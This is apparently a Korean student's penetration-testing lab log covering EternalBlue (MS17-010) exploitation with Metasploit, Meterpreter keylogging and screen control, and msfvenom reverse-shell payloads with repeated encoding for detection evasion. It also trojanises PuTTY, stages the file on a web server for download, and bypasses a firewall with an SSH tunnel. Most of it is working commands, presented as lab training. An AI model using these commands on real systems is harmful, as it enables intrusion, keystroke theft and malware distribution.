[260521] 모의해킹 실습: MS17-010(EternalBlue) 취약점 진단 및 Msfvenom을 이용한 페이로드 제작·우회

📋 학습 요약

  • 주제: SMBv1 취약점(MS17-010)을 활용한 침투 프로세스 이해 및 msfvenom 기반 맞춤형 악성 페이로드 제작 기법 실습
  • 환경: Kali Linux, Metasploit Framework, 타깃 가상머신 (10.0.0.31)
  • 핵심 목표: 모의침투의 4대 프로세스(스캔 → 침투 → 권한 이관 → 포스트 익스플로잇)를 완벽히 이해하고, 인코딩을 활용한 탐지 우회와 웹 서버를 통한 유포 및 SSH 로컬 포트 포워딩 기법을 검증한다.

💻 1. MS17-010 (EternalBlue) 실습 프로세스 분석

Windows의 SMBv1 프로토콜 취약점을 이용하는 대표적인 고전 익스플로잇으로, 공격 전반의 라이프사이클을 이해하는 교과서적인 실습을 진행했습니다.

Bash
 
# 1. 취약점 스캔 (타깃 확인)
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.31
run
# * Host is likely VULNERABLE 메시지 확인 시 공격 가능 상태

# 2. 익스플로잇 실행 (침투)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.0.0.31
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.41  # 공격자 IP
exploit
# * 성공 시 'meterpreter >' 프롬프트 진입

📌 포스트 익스플로잇 (Post-Exploit) 및 세션 관리

침투에 성공한 뒤, 시스템 권한 유지와 사용자 행위 모니터링을 위해 프로세스 이관 및 키로깅을 수행합니다.

Bash
 
# 3. 프로세스 이관 (권한 안정화 및 세션 이동)
meterpreter > ps
meterpreter > migrate [explorer.exe의_PID]
# * SYSTEM 권한에서 사용자 세션인 explorer.exe로 이동해야 실제 키로깅(Keylogging)이 가능합니다.

# 4. 키로깅 및 화면 제어
meterpreter > keyscan_start  # 키로깅 시작
meterpreter > keyscan_dump   # 입력된 키값 출력
meterpreter > keyscan_stop   # 키로깅 중지
meterpreter > screenshare    # 실시간 화면 공유 및 원격 제어

💻 2. Msfvenom을 활용한 Trojan(트로이 목마) 및 인코딩 페이로드 제작

보안 솔루션의 탐지를 우회하고 정상 파일에 악성 코드를 인젝션하기 위해 msfvenom 도구를 활용한 심화 실습을 진행했습니다.

2.1 단독 실행형 리버스 커넥션 페이로드 생성

Bash
 
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.0.0.41 LPORT=60020 -f exe -e x64/zutto_dekiru -i 3 -o /root/chrome.exe
  • 옵션 분석: -a x64 (아키텍처), --platform windows (대상 OS), -e x64/zutto_dekiru (인코더 지정), -i 3 (3회 반복 인코딩을 통한 시그니처 은닉), -o (출력 파일명).

2.2 정상 파일(PuTTY) 바인딩 및 백도어 은닉

정상적인 프로그램 기능은 그대로 유지하면서 백그라운드에서 Meterpreter 세션을 연결하는 고도화된 트로이목마 기법입니다.

Bash
 
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.41 LPORT=60060 \
--platform windows -a x64 -x putty.exe -k -e x64/zutto_dekiru -i 3 -f exe -o /var/www/html/down/putty.exe
  • -x putty.exe: 원본 원격 접속 툴인 putty.exe를 템플릿으로 지정합니다.
  • -k: 템플릿 파일이 정상 실행될 때 별도의 쓰레드로 페이로드를 실행하여 사용자의 의심을 회피합니다.
  • 생성된 파일을 Kali 내장 웹 서버 경로(/var/www/html/down/)에 배치하여 타깃이 다운로드하도록 유도합니다.

2.3 Apache 웹 서버 설정 및 핸들러 대기

Bash
 
# 공격자 아파치 웹 서버 정보 은닉 및 디렉터리 접근 제어 설정
vi /etc/apache2/sites-enabled/000-default.conf
vi /etc/apache2/conf-enabled/security.conf

# 생성한 악성 페이로드의 연결을 대기하는 멀티 핸들러 구동
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.41
set LPORT 60060
exploit

🌐 3. SSH 로컬 포트 포워딩 (SSH Tunneling)

외부 방화벽이 타깃 서버의 원격 데스크톱(RDP, 3389)을 차단하고 있더라도, 신뢰된 SSH 포트(22)를 경유하여 내부 자원에 우회 접근하는 터널링 실습입니다.

Bash
 
ssh -L 60010:10.0.0.31:3389 vagrant@10.0.0.31
  • 개념: 로컬 PC(공격자)의 60010 포트로 들어오는 모든 트래픽을 SSH 터널을 통해 타깃 서버(10.0.0.31)의 3389 포트로 안전하게 포워딩(L)합니다. 이를 통해 공격자는 localhost:60010으로 접속하여 차단된 RDP 서비스를 이용할 수 있습니다.

🛠️ 주요 체크포인트 및 요약 표

실습 영역 사용 도구 / 명령어 핵심 포인트 및 메커니즘
취약점 진단 smb_ms17_010, eternalblue Windows SMBv1 메시지 처리 취약점 악용
권한 이관 migrate [PID] SYSTEM 권한에서 explorer.exe로 이동해 키로깅 활성화
페이로드 생성 msfvenom 악성 행위를 수행할 실행 파일(EXE) 생성 도구
탐지 우회 -e x64/zutto_dekiru -i 3 시그니처 기반 탐지를 피하기 위한 인코딩 기법
트로이목마 -x putty.exe -k 정상 프로그램 실행 흐름을 해치지 않고 백도어 구동
방화벽 우회 ssh -L [로컬포트]:[타깃IP]:[타깃포트] SSH 암호화 채널을 활용한 서비스 바이패스

📝 오늘의 회고

오늘은 워너크라이(WannaCry) 사태를 촉발했던 전설적인 취약점 **MS17-010(EternalBlue)**을 활용해 실제 침투부터 권한 이관, 그리고 포스트 익스플로잇 단계인 키로깅과 화면 제어까지 침투 테스트의 전체 라이프사이클을 교과서적으로 경험할 수 있었다.

또한 msfvenom을 활용하여 정상 파일인 PuTTY에 악성 페이로드를 바인딩하고 다중 인코딩하는 실습을 통해, 사용자가 신뢰하는 실행 파일도 완벽한 백도어가 될 수 있음을 확인했다. 방화벽 뒤에 숨겨진 자원을 SSH 포트 포워딩으로 끌어오는 기법까지 마스터한 만큼, 인프라 방어 대책을 수립할 때 내부망 트래픽의 암호화 캡슐화 우회 시도까지 면밀히 모니터링할 수 있는 깊이 있는 시야를 가져야겠다고 다짐했다.